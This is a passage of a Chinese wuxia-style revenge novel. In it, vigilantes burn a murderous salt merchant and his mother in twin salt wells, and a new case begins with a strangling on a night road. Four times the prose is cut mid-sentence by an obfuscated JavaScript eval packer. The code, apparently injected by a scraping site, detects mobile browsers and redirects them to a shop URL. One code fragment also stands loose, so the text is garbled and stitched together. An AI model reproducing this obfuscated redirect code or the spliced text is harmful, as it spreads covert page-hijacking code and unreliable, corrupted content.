“你是那个……班主！？”然而，惊怒交加的鲁秉添已经没有余力关注步摇的问题了，倒吊的姿势让他的喉管里如同塞了团烧红的炭，“你想做什么！你……你大胆！你难道不知道我是谁！” “知道啊。”尾音轻轻上扬，少女用柔白的指尖绕着发尾，“你是鲁家的大老爷，卑鄙的盐商，巡盐太监狼狈为奸的座上宾，急色攻心的无耻小人——”唐珠儿忽地俯下身，咧嘴笑道，“可现在，你是我井里的□□。呱——呱——” 唐珠儿学完了□□叫，自己倒把自己逗得前仰后合，在井沿上危险地晃来晃去。身后有双手探了出来，在唐珠儿的背上轻轻一扶。 “说正事。” 鲁秉添这才注意到，唐珠儿身侧还站着个人，竟是晏回。那姑娘裹着一身夜行衣，腰间悬着把短刀，目光直直地盯着他狼狈的脸。而她的旁边立着个罩黑纱的男子，身形颀长，从头至脚都埋在阴影里，只听得到对方粗重的压抑的呼吸。 见众人始终没有将他放下来的意思，最初的惊惧过去，鲁秉添不由得着了恼，梗着脖子冷笑：“费了这么大功夫，就是为了绑了本老爷要钱！？你当这是市井泼皮的把戏？本老爷是捐了监生的！寿光县太爷见了我都得称一声‘鲁先生’，盐运司的张公公是我干爹爹——你们若是绑了我，明日官差就能踏平你们的破戏班！” “你当我们是为了钱？” “我与你们无冤无仇，甚至有恩于那晏回，不为钱又是为什么！” “无冤无仇？”鲁秉添只觉黑纱之下，两道蚀骨钻心的眼神直射过来，晏回冲那人做了个手势，冷冷道，“楚怜的血还没干，你就忘了？” “你们是为了……她！？”鲁秉添心思急转，“那关我什么事！她自己跟着姘头跑了，活不见人死不见尸，留下嗷嗷待哺的奶娃娃，你们……你们问她去啊！” “放你的狗屁！”那男人再也忍不住，猛地扯下罩在脸上的黑纱，痛斥道：“吾妹怜儿性格温柔，最是谨言慎行，明明是你们鲁家杀人害命，将怜儿沉于盐井之中，反倒诬赖怜儿夜奔！杀人不过头点地，你们却用盐娘娘的传说杀人诛心！你们太狠毒了，太狠毒了！” 看着那男子簌簌颤抖的身影，鲁秉添也终于想起了他是在哪里见过这人了。这不就是那楚怜的兄长，被他用权势压得上天无路，入地无门的楚庸吗！ 唐珠儿见楚庸不再隐藏，不满地砸吧了一下嘴，小声道：“真烦人，明明能抖个很响的包袱的，偏生就他忍不住，烦死烦死烦死……” 没有人关注到唐珠儿的碎碎念，鲁秉添盯着楚庸声色俱厉的脸，突然嘴唇一抖，露出一个扭曲的笑意：“你倒是个有点儿本事的，查到了不少，还联合这帮牛鬼蛇神来府上闹了这么一出——”他龇着苍黄的牙，似乎方才被失掉的底气与傲慢重又回到了他的身上，“可那又如何呢？无非是垂死挣扎罢了。我早就跟干爹布下了天罗地网，只待时间一到，你……你们这帮蝼蚁，都将被我一网打尽！” 残忍的笑声从鲁秉添的牙缝间流泻而出，在盐井中发出慑人的巨大回响。 “你们若是想留个全尸，就尽快把本老爷放下来，要不然——” “是吼，晏回姊姊，咱们这帮小民，又岂敢跟鲁大老爷为难，要不——”唐珠儿突然软了声音，有些怯懦地搓了搓脸颊，“咱们把他拉上来？” 晏回笑而不语，似是默认了。 鲁秉添方才尚有些心虚，此刻不由洋洋得意起来，使劲拽了一把绳索，命令道：“还不快拉！” “这就来啦！”唐珠儿一边温言软语着，一边作势去拉拽绳索。 大头朝下的鲁秉添感觉自己正在缓缓向上，绳索干涩吃力，发出嘎吱嘎吱的轻响，晃得他头疼，恼怒道：“诶我说，你能不能快——啊！” 下一瞬，绳索陡然松懈，鲁秉添直挺挺栽了下去！他只觉心脏冲入喉管之中，随着当夜的酒气和酸水，差点儿一口呕出来！落到一半，魂儿已经吓飞天外，绳索却又稳稳地将他停在半空。这一下子，眼泪鼻涕齐齐淌了下来，鲁秉添好不狼狈。 坐在井沿上的唐珠儿咯咯笑起来，晏回的声音却压过了对方的笑声，悠悠传来：“你是指这个吗？” 鲁秉添眼含热泪向上望去，只见晏回正用两指夹着一封信，冲他晃了晃。 “可惜哦，那鸽子还没飞出鲁府，就被我晏回姊姊用石子打下来了。不过你放心，那小鸽子就是摔下来的时候翅膀扭了一下，用不了几日，便能养好了。”唐珠儿笑眯眯道。 鲁秉添哪有心情关心鸽子，闻听自己亲笔求援的信被中途拦截，瞳孔猛然一缩，不可抑制地哆嗦起来。没了干爹的倚仗，他现在岂不是叫天天不应，叫地地不灵？ 好汉不吃眼前亏，他赶紧拔高声线道：“这事儿……不能赖我！是……是我娘！她早年丧夫，守着鲁家不容易，说要保住血脉就得去母留子，我……我可是方圆百里数得着的大孝子，不能……不能违逆她！” “哦呦，大孝子——”唐珠儿学着鲁秉添的样子，怪模怪样地说着，一边冲晏回眨了眨眼。晏回冷冰冰的脸上漾起一丝浅淡得几乎看不见的笑纹，只是一瞬，便散了去。 “我只是按照娘……额不，邵氏的意思，将她害死的妾室背下盐井罢了……其余的，我一概不知。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618197|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盐井中女子的尸身呢！”楚庸急于寻得妹妹的尸身，着急问道。 “我真不知道，许是我娘怕晦气，趁夜搬去乱葬岗了——”鲁秉添嗫嚅道。 “你是说，你娘一个六旬老妇，能半夜爬下井，搬着尸体去乱葬岗！？”楚庸厉声道。 “那……那说不定是崔氏帮的她呢！对对——就是崔氏，一定是她！”鲁秉添像一只慌不择路的狍子，急急恳恳地向晏回瞅去，“晏回姑娘，你知道我的，有贼心没贼胆，我鲁某人待你可不薄啊！” 闻言，晏回垂眸看向他，从颠倒的视野中，鲁秉添只觉那女子的双眸黑黢黢的，仿佛藏着无人能触及的深渊。“哦？那既然如此，我便赏你一个活命的机会。” 晏回微微一抬手，向着盐井的东方指去：“世人皆道，鲁府靠盐井起家，却不知鲁府中的盐井有两口，一明一暗，是为双生盐井。一口在院中，用来制卤；一口在庙下，用来杀生。鲁秉添，现在你和你的母亲邵氏，就分别困于两口井之中。你仔细闻闻，闻到什么了？” 鲁秉添立刻抽动鼻翼，嗅闻起来。只觉潮湿的盐气里裹着浓重的硫黄与油腥——像极了年节里孩童放的爆竹，炸开前那股子呛人的引信味。方才他太过紧张，竟是没有注意！ “火药？”他声音发颤，后槽牙咬得咯咯响，“你们……你们要炸井？” “嗯嗯——”唐珠儿晃了晃指尖，摇头道，“说错咯，不是火药，是火油。只要我把火折子往井壁一送——砰！”唐珠儿夸张地睁大了眼睛，笑得明媚，“火油遇火就着，盐硝遇热就炸，到时候别说命了，连骨头渣滓都找不到了呢！” 鲁秉添身子一颤，一股热流顺着双股流淌下来，沥沥拉拉顺着脖颈滑过脸颊，最终坠入盐井的深处，腾起一股难闻的尿骚味儿。唐珠儿厌恶地倒退一步，紧紧捂住口鼻。楚庸面色惨白，唯独眸光如鬼火，灼灼盯着鲁秉添。 鲁秉添被唐珠儿吓得尿了裤子，可一道灵光却冲入脑海，他强弓起身子，大声对晏回道：“晏姑娘！等等，晏姑娘！你不是说要赏我一个活命的机会吗！求求你，晏姑娘！” “没错，你待我不薄，我自然是要给你一个机会的。”晏回的声音轻飘飘的，听不出情绪。“双生盐井，一井生，一井死，孰生孰死，你自己来做个抉择吧！” 鲁秉添不由得怔住了。 三岁那年，他因为偷吃了佛堂的贡品，被父亲罚跪，是母亲冒雨给他送来了糕点，陪他在佛堂跪了一夜。 二十二岁那年，他看上了傅氏女子，是母亲定了崔玉容，生生拆散了他们这对儿鸳鸯。“我这糊涂儿子，崔家祖上可出过状元，你是要女子还是面子？”母亲用烟杆轻轻敲着他的额头，就这样给他定了终身。 三十二岁那年，他因失手杀了妾室晚娘，跪在母亲房中瑟瑟发抖，涕泗横流时，亦是母亲拍着他的肩膀，替他拿了主意：“你是鲁家的种，可不能心软。抬起头来，盐娘娘可瞧着呢！” …… 而如今，母亲却成了他最后的筹码。 “我……”鲁秉添的喉结滚动，冷汗顺着脸颊冲入眼睛，煞得他生疼。“我……为了鲁家……我选……去母留子……” 16.盐娘娘（十六） 范凌舟百无聊赖地靠在井沿上，长长地叹了一口气。井下的邵老夫人已经哭了多时了，听得他头皮一紧又一紧。 他本想和晏回一同整治鲁秉添，可孰料，这好营生让那个黏屁滚儿的唐珠儿抢了去，倒把邵老夫人这个大麻烦推给了他。这邵老夫人的确是恶贯满盈，可她终究是个女子，打不得骂不得，憋闷得范凌舟止不住地叹息。 他趴在井沿上，将白生生的脸往井里探了探。往日里端方严肃的鲁家老太太，如今朱钗歪斜，发髻蓬乱地蹲在井底，好不狼狈，像是尊被雨水泡烂的泥菩萨。 “老太太行行好，可莫要哭了。时至今日，就算是你把自己哭晕过去，也换不回那一干妾室的性命了。”范凌舟按着自己的额角劝道。 “你当我是为了那帮贱婢！？”邵老夫人恶狠狠地瞪向范凌舟，“我是为了我的添儿！” 这邵老夫人平日里养尊处优，发起狠来也是中气十足，震得范凌舟不由得撇了撇嘴。 “我的添儿，被你们以老身性命相挟，定然是……”邵老夫人带着哭腔道，“定然是要舍了自己的性命救我！你们若是有能耐，就直接把老身杀了，莫要为难我的添儿，老身就是做鬼也不会放过你们！” “老太太，你也别生气，也莫喊，这夜还长着呢，不如咱俩聊聊天？”见邵老夫人只是瞪着他不答话，范凌舟自顾自道：“贫道就是奇怪，同为女人，同为母亲，老太太为何就是容不下那些妾室呢？” “哼——”邵老夫人不屑道，“那些贱婢，无非是为我添儿预备的传宗接代的工具，又岂能与老身相提并论！老身是添儿的亲娘，贱婢随时可换，亲娘却只有一个。” 范凌舟微扬的嘴角染了一丝寒意：“可那些孩子的亲娘也只有一个，却被你们拿来填了井。” “能生在鲁家，成为鲁家的血脉，本就是他们的运气！便是亲娘也得舍了！”邵老夫人攥紧了拳，颤巍巍地指着井沿上晃动的人影，怒斥道。 似乎是为了应和她的话语，从西北方向传来三声清脆的鸟鸣，在寂静的夜里格外清晰。范凌舟了然垂眸，从唇齿间溢出既像叹息，又像嗤笑的声音。 “老太太说得是，便是亲娘也得舍了。” 他飘飘然直起身子，低头看向井中的老妇。此时，月上中天，圆如轮盘，将井口外的方寸天空笼罩其中。坐井观天，唯见无限银白光晕，以及那如刀锋般将月亮一切两半的黑色人影。不知为何，邵老夫人只觉一阵酷寒拔地而起。 ——这井中的潮气当真寒得刺骨啊！ 而比那寒气更胜的，是范凌舟吐出的话语：“鲁老爷……也是这般选的。” “什……”邵老夫人还当自己是听错了，瞠目结舌地瞪着范凌舟，指着范凌舟的手臂还未来得及放下，就见一点橙红色的光芒自对方指尖突现，翩然若蝴蝶，迅疾若游隼，直扑盐井而来！下一瞬，灼热的赤浪便将邵老夫人吞没了。 待井中的惨叫声再也听不见了，背靠着井沿的范凌舟方才转过身来，将脑袋往井中探去。 井中火势已渐衰微，只剩零星余烬在卤水洼里滋滋作响，可余温仍在，炙烤得人面皮儿生疼。焦糊的盐晶凝在在井壁上，如同被剥了皮的血肉。邵老夫人的身影缩在井底，原本的锦缎裙裾早成了黑灰，化为焦炭的脸上似乎还残留着死前的惊恐与不甘。唯那一只手臂还直挺挺地向上探着，妄图抓住那人世最后一丝浮华。 范凌舟静静望着那焦糊的尸身半晌，突然双足轻点，踏着井壁跃入井中，五指微张，在邵老夫人高举的手骨上轻轻一抹，又毫无留恋地跃然而出。借着明亮的月色，他平摊手掌，掌中竟多了一只金镯。 镯面的缠枝莲纹被烧得发亮，仿若在月下盛开般栩栩如生。 范凌舟眉毛一簇，禁不住“咝”了一声，将余温未褪的金镯子在两手之间来回倒换，嘴里小声咕哝，嘴角却抑制不住地上扬：“人不咋地，镯子倒是赤金。” 话音刚落，鲁府的西北方传来一阵爆响，于此同时，天空中炸开数朵礼花，火树银花间，将鲁府的异响消解于无形。 范凌舟将镯子塞入怀中，重又换上一副仙风道骨做派，悠悠道：“看来，西楼那边也结束了。” * * * 一水刻之前。 选择了去母留子的鲁秉添似乎被抽干了所有力气，双目呆滞地张着，不多时便盈满了泪。晏回向着东方送去了三声鸟鸣，几个呼吸之间，便有轰燃声传来，哪怕被天上的礼花声掩着，井边的众人亦听得清清楚楚。 楚庸知道，邵老夫人已经为怜儿尝了命。心头的巨石卸下大半，他痛快地大喘了几口气，垂头看向寂然无语的鲁秉添。 唐珠儿自然也不会放过折磨鲁秉添的好时机，笑道：“哦哟，瞧瞧你，一个大老爷们儿，竟然哭啦！？是哭了吧？还真是哭啦！”她嬉笑起来，怎么也止不住，“你说得去母留子，我们真遂了你的愿，你反倒不开心了，倒向我们欺辱了你一般，羞也不羞？” 那“去母留子”四个字，被她说得铿锵有力，有金石相击之音，直听得鲁秉添抖若筛糠。 “你们……你们仇也报了……我也按照你们说得做了选择，该……该放了我吧……”鲁秉添再也没有了反抗的精气神儿，喏喏道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624070|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一声轻嗤从楚庸紧咬的牙缝中泄了出来：“你想得美！” 鲁秉添慌了：“不是……你们让我……让我二选一的啊！” 晏回冷笑道：“的确是我们说得没错，可惜老天却不给你这个机会。鲁老爷，你怕是忘了，你府上这双生盐井，其间有一溶洞相连。一井轰燃，火气自会顺着溶洞，冲入另一井之中，你——”晏回微微眯眼，眸中寒光陡现，“——又如何逃得脱呢？去母留子，呵，可惜母子连心呐！” 说话间，倒吊着的鲁秉添已经感觉到隐隐有热气扑面，刚刚被风吹得半干的裤子又潮了起来，用尽最后力气嚎啕道：“晏姑娘，我错了，我跟你求饶了啊！饶我一命吧！” 鼻涕眼泪倒垂而下，让他的视野一片黏腻的模糊。 “你们……你们难道不想知道怜儿的尸身在哪儿吗！我告诉你们，通通告诉你们！” 鲁秉添浸淫商场多年，最是知道留后手的道理。他心知楚庸救妹心切，不得到楚怜的埋藏地定然不会罢休。只要他能咬紧这个秘密，便能得活！ 闻言，晏回的目光从鲁秉添狼狈的脸上移开，转而望向娘娘庙外那片肆意盛开的花田。成百上千朵忘忧草在月下尽情绽放，摇曳馨香，宛若少女永不消逝的笑颜。 “不必了，楚怜……早已经告诉我们了。” 话音刚落，炽热的火焰从溶洞中冲撞而出，以一往无前的愤怒，将鲁秉添最后一丝贪念烧成了灰烬。火焰之中似乎隐约现出少女的身影，以食指掩唇，凑近鲁秉添惊恐的脸，轻轻地“嘘——”了一声。 “哇，好漂亮！”盐井外，唐珠儿直起身子，望向头顶那片墨色的天空。 “砰——砰——” 无数道莹亮的光束自寿光城的各处冲上夜空，一时间星落如雨。那璀璨的光华，那四处飞溅的霓虹，映亮了少女惊喜的面庞，亦落入了晏回清冷的眸子里。仿佛在这一瞬，所有的仇恨与血腥都已远去，等待他们的将是永无怅惘的，崭新的黎明。 “西楼——”遥遥地，范凌舟的呼唤由远及近而来。 晏回与唐珠儿、楚庸对望了一眼，点了点头：“此间事了，大仇得报，撤。” * * * 不多时，鲁府僻静的角门打开了，一辆牛车悄无声息地引入夜色之中。待牛车拐入小路再也看不见后，树下隐约现出两个人影。 一个是容貌秀丽，怀抱婴孩儿的妇人；另一个男子做小厮打扮，侍立一旁。 “阿念，小顺子，我们也该走了。”妇人抱紧了怀中的奶娃娃，指尖微微发颤，轻声道。 “是，夫人。” 17.盐娘娘（十七） 暮云低垂，潮头卷着碎金撞在岸边礁石上，化作一片翻涌的洁白。楚庸立在一块平坦的礁石上，遥望着面前这片被夕阳染红的海洋。远处是樯橹如叶，鸥鸟点浪，晚归的渔户点亮了船尾悬挂的渔灯，如雏鸟还巢般纷纷归港。 这些日子，寿光县出了一件大事。县中富户鲁氏于端阳夜突发大火，将家中供奉的盐娘娘道场与两处盐井烧成灰烬。家中管事的鲁老爷、邵老夫人、大夫人崔氏下落不明，唯余三名幼童尚存。更奇的是，家中下人对当夜发生的失踪之事一概不知，只记得阖府上下曾热热闹闹的看了一场傀儡戏，其余的便什么都不知道了。县衙里派了捕头来查，将宅子从头到脚翻了个遍，依旧活不见人死不见尸。同那些消失的妾室一样，鲁老爷、邵老夫人、大夫人崔氏也如此这般被从人间抹去了。 县里的百姓皆传，鲁府敛财无道、恶贯满盈，终是被盐娘娘所不容，将他们一概收了去，只留下无辜的稚子。 楚庸大仇得报，久恨终消，却还有一事，惶惑不解。 他回头看了看正蹲在沙滩上，拿拂尘逗弄螃蟹的范凌舟，又看了看用小刀坚持不懈撬着海蛎的唐珠儿，最终将目光凝在一袭黑衣的晏回身上。 她的脸上一派平静，既没有任务完成的喜悦，亦没有看尽冷暖的怅然，眉眼之间存着的，只有如雪原般地沉默孤清。楚庸是羡慕她的，这世间事恐怕没有什么能够动摇她的心性，迷失她的方向罢…… “晏姑娘，怜儿的尸身究竟在何处？”楚庸开口道。 “就在你的面前。”晏回轻声道。 楚庸怔愣地转头再看，面前唯有碧海暮天。 “崔玉容怕极了娘娘庙前的忘忧草花田，她说那片花田是自楚怜死后生起来的，蹊跷得很，可这正是楚怜留给我们的遗书。卧底鲁府之时，我注意到有位老人，日日担水浇灌府中的花木。他说府中的盐井之中皆是卤水，不能喝亦不能浇花，所以只能日日外出抬水——” “而楚怜死去的那日，身上恰恰带着忘忧草的种子。” 楚庸神色剧变：“你是说——” “没错，楚怜被邵老夫人和鲁秉添戕害与盐井之中，盐井连接着地下暗河，会随着月相的盈缺涨退，而楚怜的尸身便被那暗河裹挟了去，冲入到府外的河道之中。而那老人日日外出抬水，正好将水中的忘忧草种子一并携了回来，浇灌在娘娘庙门前的花木之中，久而久之便形成了那一片蹊跷却美丽的花田。” 楚庸恍然大悟，怪不得四名妾室都活不见人死不见尸，原来是那盐井中的暗河成为了鲁秉添的帮凶。然而因果循环，报应不爽，他与邵氏的尸首也终随着暗河一道，成为永远无法被揭示的秘密。 可是怜儿何辜…… 楚庸将指节捏得发白，真相如同一把钝刀，一下接着一下地剜在他的心上，他声音里带着呜咽：“也就是说……我再也见不到怜儿了……” 晏回看着面前摇摇欲坠的身影，狭长的睫微微颤了颤：“如何就再也见不到呢？楚兄，万河归海啊……” 楚庸猛地抬起头，透过模糊的泪眼望向面前的大海。那井底的积水漫过怜儿的尸身，柔柔地将她包裹，带着她的血肉，顺着暗河，流进了这片海，被浪揉碎，又被夕阳镀成了金。 “其实想想也是好事——”收拢了满满一筐海蛎的唐珠儿开口了，“她不用再困在盐井里啦，她只是去了——”她高高抬起手臂，带着笑意，“海的那头。” “海的那头……”楚庸低声复诵着。 范凌舟不知何时站了起来，解下腰间的酒壶，递给楚庸：“莫哭了，楚兄，她在看着咱们呢。来，敬怜儿。” 酒壶中的浊酒半壶倾倒于地，剩下半壶被楚庸咕咚咕咚灌入自己火辣辣的腹腔里。 “怜儿，阿兄替你——报了仇了！”涕泪交横间，楚庸冲着无边无际的大海大声喊道。 待楚庸脱了力般坐在礁石上，逐渐平静下来，晏回方道：“楚兄，鲁府事毕，按照观中之约，今日一别后，我等行迹，半句不可泄露于旁人。他日若有差遣，你须倾力而为，万不可有半分推诿。” “若违此约，天涯海角，以命相赎。” 晏回眸光沉静，古井无波，仿佛在说一件再寻常不过的事情，可话语中暗含的威慑之意，便是刚刚经历过感情巨大波动的楚庸，都不由得心头一凛。 他抹了把脸，声音沙哑却坚定：“还请晏姑娘放心，楚某绝非背信弃义之徒。” 晏回淡淡颔首，转眸望向海天相接处。残阳正一寸寸沉入海底，将她的影子拉得很长。 “我们走吧。”晏回道。 “好咧！”唐珠儿闻言，一甩竹筐，将控好水的一筐海蛎背在背上。范凌舟用脚蹭了蹭沙滩，将刚才胡乱勾勒的鬼画符蹭了去。二人一左一右，和晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627413|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回并肩而行，三个人影逐渐融在一处，几乎要消散在明亮却挣扎的夕阳里。 楚庸的双眸早已被暮色耀得恍惚，可还是不甘心地凝着他们，心中翻涌起滔天巨浪。 就像那竹帖上写得那样，楚怜含冤而死时，菩萨可曾睁眼？鲁府鱼肉乡里时，神佛可曾垂怜？县衙捕头推三阻四时，王法又在何处？怜儿一世柔顺，他作为兄长，又何曾行过恶事。可为何偏偏怜儿命丧井底，他上天无路，入地无门，而那鲁府上下却享尽了人间富贵，阅尽了天下喜乐。若没有长生观诸人伸出援手，怜儿的血海深仇到何时才能报呢？ 那清冷的女声似乎又一次响彻耳畔：与其懦弱就死，不如血债血偿！ 楚庸全身一颤，突然站起身，拔腿向着三人消失处奔去！ “晏姑娘留步！” 此时，唐珠儿刚刚翻上青墩儿厚实的牛背，范凌舟正作势要扶晏回上牛车，却听见狂奔而来的脚步声，还不待反应，楚庸已经扑通一声跪倒在众人面前。 膝盖砸在湿滑的卵石上，楚庸连眉头都未皱一下：“晏回姑娘，珠儿姑娘，范道长，我知道诸位皆是江湖义士，所行之事皆是为好人平冤，让恶人遭殃。楚某不为功名，不求富贵，只愿与诸位一道，平这天下不平之事，为那些砧板上的鱼肉，讨个公道！” “我们这么正义吗？”范凌舟和唐珠儿对视一眼，小声嘀咕道。 唐珠儿瞪大圆溜溜的眸子：“你才知道！？” 相较于范凌舟和唐珠儿的叽叽喳喳，晏回无言半晌，居高临下地看着跪在滩涂上的男人，瞳仁里倒映着最后一抹残阳的火光，灼灼发烫：“你可知这条路是刀山火海？” “楚某连死都尚且不惧，又何惧火海刀山！”楚庸再次重重叩首，“怜儿在天有灵，也定会盼着她的阿兄做些真正值得的事……楚某——恳请晏回姑娘收留！” 海浪拍打着晚归的渔船，渔火摇曳间，晏回的唇角挽起一丝浅淡的弧度。她微微倾身，向地上的楚庸伸出手：“上车吧！” 唐珠儿和范凌舟又惊又喜，躲避着晏回的视线互相挤眉弄眼了一番。唐珠儿笑着拍了拍青墩儿的屁股，扬声道：“回家咯！” 牛车叮咚，迎着逐渐亮起的星子，向着济南府的方向进发。 此正是：十年磨一剑，霜刃未曾试。今日把示君，谁有不平事！ （第一卷·完） 18.生死签（一） 黑者死，白者生，公指之，是自取死也。——《续定命录》 薛负缓缓推开院门，脸色惨白。 “负郎——”青杳闻声而来，却被薛负的神情吓了一跳。她赶忙扶住脱力地倚靠着院门的薛负，急切道：“这是怎地了？可是县令家的两位公子又闯了祸事，累及了你？” 自家夫郎性子温和文质，与自己成婚七年，连口角都未曾有过。青杳想不出究竟是何事，能让薛负失魂落魄至此。面对妻子的柔声追问，薛负却仿佛没听见一般，只是双目无神地凝着脚前的方寸之地，急促地喘息着。 ——来不及了，再不走就来不及了！ 猛地，薛负攥住了青杳的手腕，把后者吓了一跳。 “收拾东西，现在就走。”薛负的声音如同耳语，却抖得不成调。 “到底出什么事了？”青杳有些急了。 “噤声！”薛负身子一缩，不自觉地向下矮了去，五官紧紧皱在一起，不住地向着青杳摆手：“噤声！莫让他们听了去！” 青杳又是气恼又是心软，她何曾见过薛负这般困窘惊恐的情态，知道便是再问也问不出什么，只能先顺着薛负的心意再做安排。 亥时三刻，薛负赶着马车离了家门。车轮碾过碎石，发出刺耳的咯吱声，才过了村口，马车的布帘掀开一角，露出青杳担忧的脸。她看着薛负绷得笔直的后背，脊梁骨仿佛要从衣衫里戳出来。 “负郎……到底是怎地了？”她小心翼翼地问道。 薛负攥着缰绳的手猛地收紧，指节泛白：“不能说……说了，连你都……”他突然回头，月光从树叶的间隙漏进来，斑驳地晃着他黑黢黢的眸子，让青杳觉出一股莫名的陌生感。“杳娘，我不想死，我想陪着你……我不想……” 他的声音越来越低，最后几个字几乎听不清。青杳不得不倾身向前，想要听得更仔细些。 偏就在这一瞬，马蹄声突然乱了。马儿像是被什么东西惊到，猛地人立而起，嘶鸣声刺破夜空，青杳被惯性扯得向马车后方倒去。从车帘掀开的间隙，青杳清晰地看到一道狭长的黑影突然从路边的枯树后甩出，像毒蛇般朝着薛负的脖颈袭去。而此时，薛负正手忙脚乱地拉扯着缰绳，对即将到来的危险恍然未觉。 “负郎！”在黑影勒紧薛负脖颈的瞬息，青杳惊恐地大喊出声，同时整个人重重撞在马车厢壁上。 时间似乎骤然放缓，青杳眼睁睁地看着那道黑影越勒越紧，薛负的脸色亦随之由白转青，再由青入紫，他的身体被拽得向后仰倒，双脚离地，舌头被从口腔之中挤压出来，无助地垂挂在嘴角，眼睛颓然睁大，眼角隐隐有着泪痕。 那眼中满溢的，不仅仅是对死亡的恐惧，更是对青杳最后的警告。 ——逃啊！杳娘，逃啊！ 可这一切哪容青杳反应，驾车的辕马突然疯了似的往前冲，载着还妄图扑向薛负的青杳向着道路尽头的悬崖疾驰而去！ “负郎——” 薛负被吊挂在树上挣扎的身影越来越远，青杳的哭喊被车轮刺耳的声响吞没。马车冲出悬崖的瞬间，她似乎隐隐看到崖底的黑暗中有红光闪烁，恍若无数双通红的眸子，正窃笑着等待她的坠落。 * * * 夏半，暑气初蒸。 楚庸背着半人高的柴捆走进长生观。观中的石板地刚被道童仔细洒扫过，只在大槐树下尚余几瓣落花。楚庸将柴捆卸下，顺手拂了去，不消片刻便又有几瓣落了下来。 “砌下落梅如雪乱，拂了一身还满——便由着它落呗！”西厢房的竹帘被缓缓掀开，范凌舟倚在门框上打了个绵长的哈欠。 “早啊，楚兄！” 闻言，楚庸顺从地直起身子，垂手恭敬道：“范道长。” “诶——”范凌舟竖起食指，蹙眉晃了晃，“怎么还范道长范道长的，听着生分得紧，唤我无鱼便可。” “无鱼……兄。”楚庸有些磕巴道。 范凌舟眯眼一笑，顺手折了根槐花枝，在头顶胡乱转了两转，簪了一个略有些凌乱的发髻，一屁股坐在楚庸刚码好的柴垛上。 “来观里数月，可还住得惯？”他语气随意，目光却在楚庸周身扫量了几圈。他一如初见一般平实质朴，只是那眉间隐隐的怨怒与愁绪，经过数月的调养已散去许多。 “住得惯住得惯！”楚庸慌忙答道，“无论是晏回姑娘，珠儿姑娘还是范……无鱼兄对我都甚是照顾，只是……” “只是？”范凌舟歪了歪脑袋。 “只是不知何时再能承接委托，替无辜之人复仇……” 范凌舟笑了：“楚兄这一点，倒是和初入观时的西楼一般无二。” 楚庸的双眸微微睁大，范凌舟言语间透露出来的信息和他想得有些出入。加入长生观数月来，他一直以为长生观真正发号施令之人是晏回姑娘。而当日他所收到的委托竹帖，联系人依旧是晏回姑娘。可范凌舟却说，晏回入观时他便在，那自此想来，长生观竟然不是晏回姑娘所设，而是……面前这位不着调的范道长？ “失敬失敬，楚某一直以来竟是不知，长生观乃是无鱼兄所设。”他嘴上慌忙应着，却是忘记了遮掩脸上的神情。 “啧——”范凌舟不满地砸吧了一下嘴，“你这是什么表情，我才是道士，长生观自然是我的道场。我听西楼的，主要是因为……” ——因为我心悦于她。 范凌舟不自然地噎了一下：“我惫懒了些，她的确也比我多了一丝丝的领导之能，这才退位让贤的。” “原来如此——”楚庸恍然大悟地点了点头。“那……晏姑娘那般人物，又是如何入的长生观呢？难不成晏姑娘也有未报之仇吗？” 在楚庸心中，晏回无论是武功还是智识，皆可谓人中龙凤。莫说是寻常男女，便是谋臣良将都难与之匹敌。难道说，这样的晏回姑娘也会有不泯之恨吗？ 闻言，范凌舟发出一声泄了气般地长叹，他将手缚于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640510|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑后，倚靠在槐树粗壮的树干上，望向头顶那片被叶片与花朵分割打碎的天空。 “哎……楚兄若是有能耐，自去问她，她确是从未告诉过我的……” 相识数年，他自问是这世上最熟稔晏回之人。他们朝夕相伴，生死相托，默契无匹，长生观从最初的不足十人，到现在五十余人的规模，皆是他与晏回一手打造。无论是小班主唐珠儿，还是新加入的楚庸，都可说是他与晏回着力为长生观挑选的人才。可是，对于晏回的过去，他与世上的其他人一样，分毫不知。 